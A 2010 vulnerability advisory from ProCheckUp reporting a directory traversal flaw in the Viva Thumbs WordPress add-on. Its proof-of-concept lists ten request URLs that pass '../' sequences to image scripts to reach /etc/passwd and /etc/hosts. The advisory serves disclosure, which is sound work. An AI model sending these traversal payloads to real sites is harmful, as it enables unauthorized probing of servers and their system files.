Directory traversal limited to file validation within Viva thumbs WordPress add-on

Vulnerability found:

04 February 2010

Vendor informed:

08 February 2010

Severity level:

Low/Medium

Credits:

Richard Brain of ProCheckUp Ltd (www.procheckup.com)

Description:

Viva Thumbs resizes and display images, as part of a popular WordPress plugin.ProCheckUp has discovered that Viva Thumbs is vulnerable to a directory traversal attack within the image display functionality, the directory traversal attack is limited to file existence validation.

Note: tested on Viva Thumbs running on the Linux operating system.

Proof of concept:

The following demonstrate the traversal flaw:

1) Vulnerable to directory traversal

http://target-domain.foo/show_image_NpAdvCatPG.php?cache=false&cat=1&filename=/../../../../../../etc/passwd

http://target-domain.foo/show_image_NpAdvHover.php?cache=false&cat=0&filename=/../../../../../../etc/passwd

http://target-domain.foo/show_image_NpAdvInnerSmall.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvMainFea.php?cache=false&cat=1&filename=/../../../../../../etc/passwd

http://target-domain.foo/show_image_NpAdvMainPGThumb.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvFeaThumb.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvSecondaryRight.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvSideFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvSinglePhoto.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

http://target-domain.foo/show_image_NpAdvSubFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts

Consequences:
The existance of files can be validated on the system, outside the WordPress webroot.

How to fix:

None available

Legal:

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